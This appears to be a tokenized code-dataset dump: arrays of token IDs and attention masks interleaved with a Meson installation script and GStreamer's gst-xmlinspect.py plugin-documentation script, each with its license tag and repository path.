8, 1069, 12, 17891, 12, 291, 14, 3352, 2017, 12, 1056, 12, 302, 513, 9, 267, 372, 2845, 63, 22162, 63, 57, 775, 339, 347, 3795, 2017, 8, 277, 12, 1056, 12, 302, 513, 304, 267, 308, 275, 8894, 1360, 30, 665, 2993, 2957, 2993, 30, 665, 2030, 11193, 267, 1249, 275, 1056, 14, 589, 14, 1574, 342, 267, 367, 12992, 315, 302, 513, 26, 288, 1249, 905, 78, 937, 275, 359, 495, 8, 7530, 1874, 288, 22494, 275, 16511, 8, 589, 12, 886, 3610, 29, 549, 9, 288, 308, 847, 3886, 65, 4369, 8805, 7207, 25790, 83, 8423, 7207, 450, 68, 1108, 65, 2535, 3289, 4335, 450, 334, 21371, 12, 12992, 9, 267, 308, 847, 408, 1108, 2030, 11193, 267, 1056, 14, 952, 8, 83, 9, 267, 1056, 14, 8192, 342, 421, 199, 533, 18464, 1187, 8, 20475, 4031, 304, 339, 347, 3795, 63, 2970, 8, 277, 12, 1056, 304, 267, 302, 275, 664, 1273, 8, 1069, 12, 298, 78, 401, 413, 12, 730, 29, 1609, 9, 267, 330, 275, 664, 1273, 8, 1069, 12, 298, 66, 401, 413, 12, 730, 29, 442, 9, 267, 340, 330, 26, 288, 327, 3222, 2323, 3063, 436, 7339, 2396, 288, 1056, 14, 952, 8355, 267, 291, 14, 11610, 2017, 8, 1069, 12, 302, 12, 291, 423, 21830, 9216, 12, 1056, 12, 302, 9, 267, 372, 2845, 63, 22162, 63, 57, 775, 339, 347, 485, 21830, 9216, 8, 277, 12, 1056, 12, 302, 304, 267, 1056, 14, 952, 480, 2364, 24725, 367, 450, 16, 14, 19, 70, 4696, 60, 78, 2, 450, 302, 9, 267, 1056, 14, 8192, 342, 421, 199, 533, 9795, 8, 20475, 4031, 304, 339, 347, 3795, 63, 2970, 8, 277, 12, 1056, 304, 267, 302, 275, 664, 1273, 8, 1069, 12, 298, 78, 401, 1926, 12, 730, 29, 442, 9, 267, 1056, 14, 409, 2364, 3034, 8, 78, 9, 267, 372, 3087, 421, 199, 533, 13480, 8, 20475, 4031, 304, 339, 347, 3795, 63, 2970, 8, 277, 12, 1056, 304, 267, 1056, 14, 8924, 16646, 275, 413, 267, 291, 14, 11610, 2017, 8, 1069, 12, 378, 12, 291, 423, 21830, 9216, 12, 1056, 9, 267, 372, 2845, 63, 22162, 63, 57, 775, 272, 3795, 63, 4030, 275, 3795, 63, 2970, 339, 347, 485, 21830, 9216, 8, 277, 12, 1056, 304, 267, 3066, 275, 664, 1273, 8, 1069, 12, 283, 1773, 297, 283, 2856, 413, 14, 17, 1926, 9949, 60, 78, 358, 267, 1056, 14, 8924, 16646, 275, 413, 267, 1056, 14, 952, 8, 1773, 9, 267, 1056, 14, 2775, 14, 5545, 14, 32452, 342, 267, 1056, 14, 8192, 342, 421, 199, 533, 24980, 8, 20475, 4031, 304, 339, 347, 3795, 63, 2970, 8, 277, 12, 1056, 304, 267, 1072, 275, 469, 288, 283, 2139, 356, 1211, 8, 1069, 14, 1069, 9883, 14, 31359, 7963, 9883, 4000, 288, 283, 2030, 356, 1056, 14, 1317, 14, 739, 1062, 267, 789, 267, 372, 2022, 14, 4180, 8, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # This script installs Meson. We can't use Meson to install itself # because of the bootstrap problem. We can't use any other build system # either becaust that would be just silly. import os, sys, glob, shutil, gzip from optparse import OptionParser usage_info = '%prog [--prefix PREFIX] [--destdir DESTDIR]' parser = OptionParser(usage=usage_info) parser.add_option('--prefix', default='/usr/local', dest='prefix', help='the installation prefix (default: %default)') parser.add_option('--destdir', default='', dest='destdir', help='the destdir (default: %default)') (options, args) = parser.parse_args(sys.argv) if options.prefix[0] != '/': print('Error, prefix must be an absolute path.') sys.exit(1) if options.destdir == '': install_root = options.prefix else: install_root = os.path.join(options.destdir, options.prefix[1:]) script_dir = os.path.join(install_root, 'share/meson') bin_dir = os.path.join(install_root, 'bin') bin_script = os.path.join(script_dir, 'meson.py') gui_script = os.path.join(script_dir, 'mesongui.py') conf_script = os.path.join(script_dir, 'mesonconf.py') bin_name = os.path.join(bin_dir, 'meson') gui_name = os.path.join(bin_dir, 'mesongui') conf_name = os.path.join(bin_dir, 'mesonconf') man_dir = os.path.join(install_root, 'share/man/man1') in_manfile = 'man/meson.1' out_manfile = os.path.join(man_dir, 'meson.1.gz') in_guimanfile = 'man/mesongui.1' out_guimanfile = os.path.join(man_dir, 'mesongui.1.gz') in_confmanfile = 'man/mesonconf.1' out_confmanfile = os.path.join(man_dir, 'mesonconf.1.gz') symlink_value = os.path.relpath(bin_script, os.path.dirname(bin_name)) guisymlink_value = os.path.relpath(gui_script, os.path.dirname(gui_name)) confsymlink_value = os.path.relpath(conf_script, os.path.dirname(conf_name)) files = glob.glob('*.py') files += glob.glob('*.ui') noinstall = ['compile_meson.py', 'install_meson.py', 'run_tests.py', 'run_cross_test.py'] files = [x for x in files if x not in noinstall] os.makedirs(script_dir, exist_ok=True) os.makedirs(bin_dir, exist_ok=True) os.makedirs(man_dir, exist_ok=True) for f in files: print('Installing %s to %s.' %(f, script_dir)) outfilename = os.path.join(script_dir, f) shutil.copyfile(f, outfilename) shutil.copystat(f, outfilename) try: os.remove(bin_name) except OSError: pass print('Creating symlinks %s and %s.' % (bin_name, gui_name)) try: os.unlink(bin_name) except FileNotFoundError: pass try: os.unlink(gui_name) except FileNotFoundError: pass try: os.unlink(conf_name) except FileNotFoundError: pass os.symlink(symlink_value, bin_name) os.symlink(guisymlink_value, gui_name) os.symlink(confsymlink_value, conf_name) print('Installing manfiles to %s.' % man_dir) open(out_manfile, 'wb').write(gzip.compress(open(in_manfile, 'rb').read())) open(out_confmanfile, 'wb').write(gzip.compress(open(in_confmanfile, 'rb').read())) open(out_guimanfile, 'wb').write(gzip.compress(open(in_guimanfile, 'rb').read()))
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 19, 199, 199, 3, 1898, 6171, 13, 7280, 710, 603, 397, 265, 16367, 8099, 199, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 3, 961, 2884, 25801, 603, 397, 265, 14, 2136, 883, 1133, 675, 603, 397, 265, 370, 3907, 6337, 199, 3, 2952, 402, 314, 15865, 5160, 14, 2136, 883, 1133, 675, 1263, 1163, 1900, 2656, 199, 3, 1902, 506, 696, 833, 626, 3955, 506, 2951, 24968, 590, 14, 199, 199, 646, 747, 12, 984, 12, 5739, 12, 5145, 12, 11756, 199, 504, 8691, 492, 13491, 199, 199, 3807, 63, 815, 275, 1543, 6595, 19344, 1861, 27884, 61, 19344, 32669, 577, 1719, 3022, 6616, 199, 199, 2087, 275, 13491, 8, 3807, 29, 3807, 63, 815, 9, 199, 199, 2087, 14, 525, 63, 1422, 4517, 1861, 297, 849, 8805, 2647, 15, 1832, 297, 2053, 534, 1861, 297, 2116, 1720, 534, 1589, 12096, 2403, 334, 885, 26, 450, 885, 5942, 199, 2087, 14, 525, 63, 1422, 4517, 32669, 297, 849, 4581, 2053, 534, 32669, 297, 2116, 1720, 534, 1589, 2053, 694, 334, 885, 26, 450, 885, 5942, 199, 199, 8, 1419, 12, 1249, 9, 275, 1798, 14, 1122, 63, 589, 8, 1274, 14, 3020, 9, 199, 692, 1511, 14, 1861, 59, 16, 61, 1137, 20549, 272, 870, 360, 547, 12, 2403, 1471, 506, 376, 3679, 931, 2659, 272, 984, 14, 2224, 8, 17, 9, 199, 199, 692, 1511, 14, 32669, 508, 8061, 272, 3907, 63, 1231, 275, 1511, 14, 1861, 199, 2836, 26, 272, 3907, 63, 1231, 275, 747, 14, 515, 14, 904, 8, 1419, 14, 32669, 12, 1511, 14, 1861, 59, 17, 5728, 199, 199, 1579, 63, 694, 275, 747, 14, 515, 14, 904, 8, 3174, 63, 1231, 12, 283, 6251, 15, 278, 834, 358, 199, 1393, 63, 694, 275, 747, 14, 515, 14, 904, 8, 3174, 63, 1231, 12, 283, 1393, 358, 199, 1393, 63, 1579, 275, 747, 14, 515, 14, 904, 8, 1579, 63, 694, 12, 283, 278, 834, 14, 647, 358, 199, 5885, 63, 1579, 275, 747, 14, 515, 14, 904, 8, 1579, 63, 694, 12, 283, 278, 834, 5885, 14, 647, 358, 199, 2190, 63, 1579, 275, 747, 14, 515, 14, 904, 8, 1579, 63, 694, 12, 283, 278, 834, 2190, 14, 647, 358, 199, 1393, 63, 354, 275, 747, 14, 515, 14, 904, 8, 1393, 63, 694, 12, 283, 278, 834, 358, 199, 5885, 63, 354, 275, 747, 14, 515, 14, 904, 8, 1393, 63, 694, 12, 283, 278, 834, 5885, 358, 199, 2190, 63, 354, 275, 747, 14, 515, 14, 904, 8, 1393, 63, 694, 12, 283, 278, 834, 2190, 358, 199, 1237, 63, 694, 275, 747, 14, 515, 14, 904, 8, 3174, 63, 1231, 12, 283, 6251, 15, 1237, 15, 1237, 17, 358, 199, 262, 63, 1237, 493, 275, 283, 1237, 15, 278, 834, 14, 17, 7, 199, 548, 63, 1237, 493, 275, 747, 14, 515, 14, 904, 8, 1237, 63, 694, 12, 283, 278, 834, 14, 17, 14, 6838, 358, 199, 262, 63, 6051, 1017, 290, 493, 275, 283, 1237, 15, 278, 834, 5885, 14, 17, 7, 199, 548, 63, 6051, 1017, 290, 493, 275, 747, 14, 515, 14, 904, 8, 1237, 63, 694, 12, 283, 278, 834, 5885, 14, 17, 14, 6838, 358, 199, 262, 63, 2190, 1237, 493, 275, 283, 1237, 15, 278, 834, 2190, 14, 17, 7, 199, 548, 63, 2190, 1237, 493, 275, 747, 14, 515, 14, 904, 8, 1237, 63, 694, 12, 283, 278, 834, 2190, 14, 17, 14, 6838, 358, 199, 199, 13380, 63, 585, 275, 747, 14, 515, 14, 12405, 8, 1393, 63, 1579, 12, 747, 14, 515, 14, 3475, 8, 1393, 63, 354, 430, 199, 6051, 374, 12828, 1073, 63, 585, 275, 747, 14, 515, 14, 12405, 8, 5885, 63, 1579, 12, 747, 14, 515, 14, 3475, 8, 5885, 63, 354, 430, 199, 2190, 13380, 63, 585, 275, 747, 14, 515, 14, 12405, 8, 2190, 63, 1579, 12, 747, 14, 515, 14, 3475, 8, 2190, 63, 354, 430, 199, 1725, 275, 5739, 14, 6463, 360, 4856, 647, 358, 199, 1725, 847, 5739, 14, 6463, 360, 4856, 1907, 358, 199, 199, 889, 3174, 275, 788, 2014, 63, 278, 834, 14, 647, 297, 283, 3174, 63, 278, 834, 14, 647, 297, 283, 1065, 63, 2219, 14, 647, 297, 283, 1065, 63, 7925, 63, 396, 14, 647, 418, 199, 199, 1725, 275, 359, 88, 367, 671, 315, 1584, 340, 671, 440, 315, 949, 3174, 61, 199, 199, 736, 14, 8347, 8, 1579, 63, 694, 12, 2187, 63, 745, 29, 549, 9, 199, 736, 14, 8347, 8, 1393, 63, 694, 12, 2187, 63, 745, 29, 549, 9, 199, 736, 14, 8347, 8, 1237, 63, 694, 12, 2187, 63, 745, 29, 549, 9, 199, 199, 509, 289, 315, 1584, 26, 272, 870, 360, 31376, 450, 83, 370, 450, 83, 3530, 2818, 70, 12, 2884, 63, 694, 430, 272, 734, 1501, 275, 747, 14, 515, 14, 904, 8, 1579, 63, 694, 12, 289, 9, 272, 5145, 14, 21997, 8, 70, 12, 734, 1501, 9, 272, 5145, 14, 1574, 3736, 8, 70, 12, 734, 1501, 9, 199, 893, 26, 272, 747, 14, 2168, 8, 1393, 63, 354, 9, 199, 2590, 6440, 26, 272, 986, 199, 1361, 360, 14380, 19891, 450, 83, 436, 450, 83, 3530, 450, 334, 1393, 63, 354, 12, 11621, 63, 354, 430, 199, 893, 26, 272, 747, 14, 7162, 8, 1393, 63, 354, 9, 199, 2590, 3814, 10870, 26, 272, 986, 199, 893, 26 ]
[ 2647, 15, 1393, 15, 1813, 2366, 19, 199, 199, 3, 1898, 6171, 13, 7280, 710, 603, 397, 265, 16367, 8099, 199, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 3, 961, 2884, 25801, 603, 397, 265, 14, 2136, 883, 1133, 675, 603, 397, 265, 370, 3907, 6337, 199, 3, 2952, 402, 314, 15865, 5160, 14, 2136, 883, 1133, 675, 1263, 1163, 1900, 2656, 199, 3, 1902, 506, 696, 833, 626, 3955, 506, 2951, 24968, 590, 14, 199, 199, 646, 747, 12, 984, 12, 5739, 12, 5145, 12, 11756, 199, 504, 8691, 492, 13491, 199, 199, 3807, 63, 815, 275, 1543, 6595, 19344, 1861, 27884, 61, 19344, 32669, 577, 1719, 3022, 6616, 199, 199, 2087, 275, 13491, 8, 3807, 29, 3807, 63, 815, 9, 199, 199, 2087, 14, 525, 63, 1422, 4517, 1861, 297, 849, 8805, 2647, 15, 1832, 297, 2053, 534, 1861, 297, 2116, 1720, 534, 1589, 12096, 2403, 334, 885, 26, 450, 885, 5942, 199, 2087, 14, 525, 63, 1422, 4517, 32669, 297, 849, 4581, 2053, 534, 32669, 297, 2116, 1720, 534, 1589, 2053, 694, 334, 885, 26, 450, 885, 5942, 199, 199, 8, 1419, 12, 1249, 9, 275, 1798, 14, 1122, 63, 589, 8, 1274, 14, 3020, 9, 199, 692, 1511, 14, 1861, 59, 16, 61, 1137, 20549, 272, 870, 360, 547, 12, 2403, 1471, 506, 376, 3679, 931, 2659, 272, 984, 14, 2224, 8, 17, 9, 199, 199, 692, 1511, 14, 32669, 508, 8061, 272, 3907, 63, 1231, 275, 1511, 14, 1861, 199, 2836, 26, 272, 3907, 63, 1231, 275, 747, 14, 515, 14, 904, 8, 1419, 14, 32669, 12, 1511, 14, 1861, 59, 17, 5728, 199, 199, 1579, 63, 694, 275, 747, 14, 515, 14, 904, 8, 3174, 63, 1231, 12, 283, 6251, 15, 278, 834, 358, 199, 1393, 63, 694, 275, 747, 14, 515, 14, 904, 8, 3174, 63, 1231, 12, 283, 1393, 358, 199, 1393, 63, 1579, 275, 747, 14, 515, 14, 904, 8, 1579, 63, 694, 12, 283, 278, 834, 14, 647, 358, 199, 5885, 63, 1579, 275, 747, 14, 515, 14, 904, 8, 1579, 63, 694, 12, 283, 278, 834, 5885, 14, 647, 358, 199, 2190, 63, 1579, 275, 747, 14, 515, 14, 904, 8, 1579, 63, 694, 12, 283, 278, 834, 2190, 14, 647, 358, 199, 1393, 63, 354, 275, 747, 14, 515, 14, 904, 8, 1393, 63, 694, 12, 283, 278, 834, 358, 199, 5885, 63, 354, 275, 747, 14, 515, 14, 904, 8, 1393, 63, 694, 12, 283, 278, 834, 5885, 358, 199, 2190, 63, 354, 275, 747, 14, 515, 14, 904, 8, 1393, 63, 694, 12, 283, 278, 834, 2190, 358, 199, 1237, 63, 694, 275, 747, 14, 515, 14, 904, 8, 3174, 63, 1231, 12, 283, 6251, 15, 1237, 15, 1237, 17, 358, 199, 262, 63, 1237, 493, 275, 283, 1237, 15, 278, 834, 14, 17, 7, 199, 548, 63, 1237, 493, 275, 747, 14, 515, 14, 904, 8, 1237, 63, 694, 12, 283, 278, 834, 14, 17, 14, 6838, 358, 199, 262, 63, 6051, 1017, 290, 493, 275, 283, 1237, 15, 278, 834, 5885, 14, 17, 7, 199, 548, 63, 6051, 1017, 290, 493, 275, 747, 14, 515, 14, 904, 8, 1237, 63, 694, 12, 283, 278, 834, 5885, 14, 17, 14, 6838, 358, 199, 262, 63, 2190, 1237, 493, 275, 283, 1237, 15, 278, 834, 2190, 14, 17, 7, 199, 548, 63, 2190, 1237, 493, 275, 747, 14, 515, 14, 904, 8, 1237, 63, 694, 12, 283, 278, 834, 2190, 14, 17, 14, 6838, 358, 199, 199, 13380, 63, 585, 275, 747, 14, 515, 14, 12405, 8, 1393, 63, 1579, 12, 747, 14, 515, 14, 3475, 8, 1393, 63, 354, 430, 199, 6051, 374, 12828, 1073, 63, 585, 275, 747, 14, 515, 14, 12405, 8, 5885, 63, 1579, 12, 747, 14, 515, 14, 3475, 8, 5885, 63, 354, 430, 199, 2190, 13380, 63, 585, 275, 747, 14, 515, 14, 12405, 8, 2190, 63, 1579, 12, 747, 14, 515, 14, 3475, 8, 2190, 63, 354, 430, 199, 1725, 275, 5739, 14, 6463, 360, 4856, 647, 358, 199, 1725, 847, 5739, 14, 6463, 360, 4856, 1907, 358, 199, 199, 889, 3174, 275, 788, 2014, 63, 278, 834, 14, 647, 297, 283, 3174, 63, 278, 834, 14, 647, 297, 283, 1065, 63, 2219, 14, 647, 297, 283, 1065, 63, 7925, 63, 396, 14, 647, 418, 199, 199, 1725, 275, 359, 88, 367, 671, 315, 1584, 340, 671, 440, 315, 949, 3174, 61, 199, 199, 736, 14, 8347, 8, 1579, 63, 694, 12, 2187, 63, 745, 29, 549, 9, 199, 736, 14, 8347, 8, 1393, 63, 694, 12, 2187, 63, 745, 29, 549, 9, 199, 736, 14, 8347, 8, 1237, 63, 694, 12, 2187, 63, 745, 29, 549, 9, 199, 199, 509, 289, 315, 1584, 26, 272, 870, 360, 31376, 450, 83, 370, 450, 83, 3530, 2818, 70, 12, 2884, 63, 694, 430, 272, 734, 1501, 275, 747, 14, 515, 14, 904, 8, 1579, 63, 694, 12, 289, 9, 272, 5145, 14, 21997, 8, 70, 12, 734, 1501, 9, 272, 5145, 14, 1574, 3736, 8, 70, 12, 734, 1501, 9, 199, 893, 26, 272, 747, 14, 2168, 8, 1393, 63, 354, 9, 199, 2590, 6440, 26, 272, 986, 199, 1361, 360, 14380, 19891, 450, 83, 436, 450, 83, 3530, 450, 334, 1393, 63, 354, 12, 11621, 63, 354, 430, 199, 893, 26, 272, 747, 14, 7162, 8, 1393, 63, 354, 9, 199, 2590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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
cpopescu/whispermedialib
third-party/gstreamer/gst-plugins-good/common/gst-xmlinspect.py
8
4861
# -*- Mode: Python -*- # vi:si:et:sw=4:sts=4:ts=4 """ examine all plugins and elements and output xml documentation for them used as part of the plugin documentation build """ import sys import os import pygst pygst.require('0.10') import gst INDENT_SIZE = 2 # all templates PAD_TEMPLATE = """<caps> <name>%(name)s</name> <direction>%(direction)s</direction> <presence>%(presence)s</presence> <details>%(details)s</details> </caps>""" ELEMENT_TEMPLATE = """<element> <name>%(name)s</name> <longname>%(longname)s</longname> <class>%(class)s</class> <description>%(description)s</description> <author>%(author)s</author> <pads> %(pads)s </pads> </element>""" PLUGIN_TEMPLATE = """<plugin> <name>%(name)s</name> <description>%(description)s</description> <filename>%(filename)s</filename> <basename>%(basename)s</basename> <version>%(version)s</version> <license>%(license)s</license> <source>%(source)s</source> <package>%(package)s</package> <origin>%(origin)s</origin> <elements> %(elements)s </elements> </plugin>""" def xmlencode(line): """ Replace &, <, and > """ line = "&amp;".join(line.split("&")) line = "&lt;".join(line.split("<")) line = "&gt;".join(line.split(">")) return line def get_offset(indent): return " " * INDENT_SIZE * indent def output_pad_template(pt, indent=0): print "PAD TEMPLATE", pt.name_template paddir = ("unknown","source","sink") padpres = ("always","sometimes","request") d = { 'name': xmlencode(pt.name_template), 'direction': xmlencode(paddir[pt.direction]), 'presence': xmlencode(padpres[pt.presence]), 'details': xmlencode(pt.static_caps.string), } block = PAD_TEMPLATE % d offset = get_offset(indent) return offset + ("\n" + offset).join(block.split("\n")) def output_element_factory(elf, indent=0): print "ELEMENT", elf.get_name() padsoutput = [] padtemplates = elf.get_static_pad_templates() for padtemplate in padtemplates: padsoutput.append(output_pad_template(padtemplate, indent)) d = { 'name': xmlencode(elf.get_name()), 'longname': xmlencode(elf.get_longname()), 'class': xmlencode(elf.get_klass()), 'description': xmlencode(elf.get_description()), 'author': xmlencode(elf.get_author()), 'pads': "\n".join(padsoutput), } block = ELEMENT_TEMPLATE % d offset = get_offset(indent) return offset + ("\n" + offset).join(block.split("\n")) def output_plugin(plugin, indent=0): print "PLUGIN", plugin.get_name() version = plugin.get_version() elements = {} gst.debug('getting features for plugin %s' % plugin.get_name()) registry = gst.registry_get_default() features = registry.get_feature_list_by_plugin(plugin.get_name()) gst.debug('plugin %s has %d features' % (plugin.get_name(), len(features))) for feature in features: if isinstance(feature, gst.ElementFactory): elements[feature.get_name()] = feature #gst.debug("got features") elementsoutput = [] keys = elements.keys() keys.sort() for name in keys: feature = elements[name] elementsoutput.append(output_element_factory(feature, indent + 2)) filename = plugin.get_filename() basename = filename if basename: basename = os.path.basename(basename) d = { 'name': xmlencode(plugin.get_name()), 'description': xmlencode(plugin.get_description()), 'filename': filename, 'basename': basename, 'version': version, 'license': xmlencode(plugin.get_license()), 'source': xmlencode(plugin.get_source()), 'package': xmlencode(plugin.get_package()), 'origin': xmlencode(plugin.get_origin()), 'elements': "\n".join(elementsoutput), } block = PLUGIN_TEMPLATE % d offset = get_offset(indent) return offset + ("\n" + offset).join(block.split("\n")) def main(): if len(sys.argv) == 1: sys.stderr.write("Please specify a source module to inspect") sys.exit(1) source = sys.argv[1] if len(sys.argv) > 2: os.chdir(sys.argv[2]) registry = gst.registry_get_default() all = registry.get_plugin_list() for plugin in all: gst.debug("inspecting plugin %s from source %s" % ( plugin.get_name(), plugin.get_source())) # this skips gstcoreelements, with bin and pipeline if plugin.get_filename() is None: continue if plugin.get_source() != source: continue filename = "plugin-%s.xml" % plugin.get_name() handle = open(filename, "w") handle.write(output_plugin(plugin)) handle.close() main()
lgpl-3.0
[ 3, 1882, 4900, 26, 2018, 1882, 199, 3, 1321, 26, 338, 26, 386, 26, 3519, 29, 20, 26, 10329, 29, 20, 26, 1086, 29, 20, 199, 199, 624, 199, 15425, 1132, 1006, 8963, 436, 4008, 436, 1072, 2748, 3794, 367, 3062, 199, 2972, 465, 1777, 402, 314, 3589, 3794, 1900, 199, 624, 199, 199, 646, 984, 199, 646, 747, 199, 646, 1134, 23908, 199, 647, 23908, 14, 4365, 360, 16, 14, 709, 358, 199, 646, 486, 270, 199, 199, 29080, 63, 4305, 275, 499, 199, 199, 3, 1006, 7009, 199, 199, 32420, 63, 7433, 275, 8894, 12029, 30, 523, 665, 354, 19418, 354, 9, 83, 1108, 354, 30, 523, 665, 6874, 19418, 6874, 9, 83, 1108, 6874, 30, 523, 665, 21566, 19418, 21566, 9, 83, 1108, 21566, 30, 523, 665, 5087, 19418, 5087, 9, 83, 1108, 5087, 30, 199, 1108, 12029, 11193, 199, 199, 12535, 63, 7433, 275, 8894, 2108, 30, 523, 665, 354, 19418, 354, 9, 83, 1108, 354, 30, 523, 665, 2809, 354, 19418, 2809, 354, 9, 83, 1108, 2809, 354, 30, 523, 665, 533, 19418, 533, 9, 83, 1108, 533, 30, 523, 665, 1802, 19418, 1802, 9, 83, 1108, 1802, 30, 523, 665, 2502, 19418, 2502, 9, 83, 1108, 2502, 30, 523, 665, 6226, 83, 30, 199, 2840, 6226, 83, 9, 83, 523, 3068, 6226, 83, 30, 199, 1108, 2108, 11193, 199, 199, 19108, 63, 7433, 275, 8894, 2718, 30, 523, 665, 354, 19418, 354, 9, 83, 1108, 354, 30, 523, 665, 1802, 19418, 1802, 9, 83, 1108, 1802, 30, 523, 665, 1501, 19418, 1501, 9, 83, 1108, 1501, 30, 523, 665, 4846, 19418, 4846, 9, 83, 1108, 4846, 30, 523, 665, 1023, 19418, 1023, 9, 83, 1108, 1023, 30, 523, 665, 1682, 19418, 1682, 9, 83, 1108, 1682, 30, 523, 665, 1365, 19418, 1365, 9, 83, 1108, 1365, 30, 523, 665, 2491, 19418, 2491, 9, 83, 1108, 2491, 30, 523, 665, 6493, 19418, 6493, 9, 83, 1108, 6493, 30, 523, 665, 5527, 30, 199, 2840, 5527, 9, 83, 523, 3068, 5527, 30, 199, 1108, 2718, 11193, 199, 199, 318, 17725, 8324, 8, 604, 304, 272, 408, 272, 14402, 17181, 665, 12, 436, 690, 272, 408, 272, 1004, 275, 11746, 5282, 27, 1674, 904, 8, 604, 14, 1294, 22077, 2237, 272, 1004, 275, 11746, 4116, 27, 1674, 904, 8, 604, 14, 1294, 6757, 2237, 272, 1004, 275, 11746, 3308, 27, 1674, 904, 8, 604, 14, 1294, 19651, 2237, 272, 372, 1004, 199, 199, 318, 664, 63, 2743, 8, 3724, 304, 272, 372, 298, 298, 627, 23632, 1309, 63, 4305, 627, 4363, 199, 199, 318, 1072, 63, 6226, 63, 1160, 8, 541, 12, 4363, 29, 16, 304, 272, 870, 221, 298, 32420, 24877, 401, 10063, 14, 354, 63, 1160, 272, 6567, 694, 275, 1689, 5187, 2266, 1365, 2266, 11279, 531, 272, 6567, 24919, 275, 1689, 9223, 2266, 3972, 4508, 2266, 1069, 531, 2286, 366, 275, 469, 489, 283, 354, 356, 263, 17725, 8324, 8, 541, 14, 354, 63, 1160, 395, 489, 283, 6874, 356, 257, 17725, 8324, 8, 6226, 694, 59, 541, 14, 6874, 2522, 489, 283, 21566, 356, 259, 17725, 8324, 8, 6226, 24919, 59, 541, 14, 21566, 2522, 489, 283, 5087, 356, 258, 17725, 8324, 8, 541, 14, 1986, 63, 12029, 14, 875, 395, 272, 789, 272, 1853, 275, 510, 1554, 63, 7433, 450, 366, 339, 3268, 275, 664, 63, 2743, 8, 3724, 9, 272, 372, 3268, 435, 25381, 78, 2, 435, 3268, 680, 904, 8, 1457, 14, 1294, 4582, 78, 2237, 1362, 199, 318, 1072, 63, 2108, 63, 3702, 8, 25371, 12, 4363, 29, 16, 304, 272, 870, 221, 298, 12535, 401, 325, 276, 14, 362, 63, 354, 342, 339, 6567, 83, 1199, 275, 942, 272, 6567, 5876, 275, 325, 276, 14, 362, 63, 1986, 63, 6226, 63, 5876, 342, 272, 367, 6567, 1160, 315, 6567, 5876, 26, 267, 6567, 83, 1199, 14, 740, 8, 1199, 63, 6226, 63, 1160, 8, 6226, 1160, 12, 4363, 430, 339, 366, 275, 469, 267, 283, 354, 356, 263, 17725, 8324, 8, 25371, 14, 362, 63, 354, 4000, 267, 283, 2809, 354, 356, 259, 17725, 8324, 8, 25371, 14, 362, 63, 2809, 354, 4000, 267, 283, 533, 356, 755, 17725, 8324, 8, 25371, 14, 362, 63, 11645, 4000, 267, 283, 1802, 356, 17725, 8324, 8, 25371, 14, 362, 63, 1802, 4000, 267, 283, 2502, 356, 420, 17725, 8324, 8, 25371, 14, 362, 63, 2502, 4000, 267, 283, 6226, 83, 356, 1867, 78, 1674, 904, 8, 6226, 83, 1199, 395, 272, 789, 272, 1853, 275, 662, 10320, 63, 7433, 450, 366, 339, 3268, 275, 664, 63, 2743, 8, 3724, 9, 272, 372, 3268, 435, 25381, 78, 2, 435, 3268, 680, 904, 8, 1457, 14, 1294, 4582, 78, 2237, 199, 199, 318, 1072, 63, 2718, 8, 2718, 12, 4363, 29, 16, 304, 272, 870, 298, 19108, 401, 3589, 14, 362, 63, 354, 342, 272, 1015, 275, 3589, 14, 362, 63, 1023, 342, 2286, 4008, 275, 1052, 272, 486, 270, 14, 1757, 360, 362, 1337, 4534, 367, 3589, 450, 83, 7, 450, 3589, 14, 362, 63, 354, 1012, 272, 7086, 275, 486, 270, 14, 5189, 63, 362, 63, 885, 342, 272, 4534, 275, 7086, 14, 362, 63, 4445, 63, 513, 63, 991, 63, 2718, 8, 2718, 14, 362, 63, 354, 1012, 272, 486, 270, 14, 1757, 360, 2718, 450, 83, 965, 450, 68, 4534, 7, 450, 334, 2718, 14, 362, 63, 354, 1062, 822, 8, 3179, 1724, 272, 367, 3878, 315, 4534, 26, 267, 340, 1228, 8, 4445, 12, 486, 270, 14, 2162, 2927, 304, 288, 4008, 59, 4445, 14, 362, 63, 354, 5106, 275, 3878, 272, 327, 23908, 14, 1757, 480, 7808, 4534, 531, 5493, 4008, 1199, 275, 942, 272, 2883, 275, 4008, 14, 1612, 342, 272, 2883, 14, 3191, 342, 272, 367, 536, 315, 2883, 26, 267, 3878, 275, 4008, 59, 354, 61, 267, 4008, 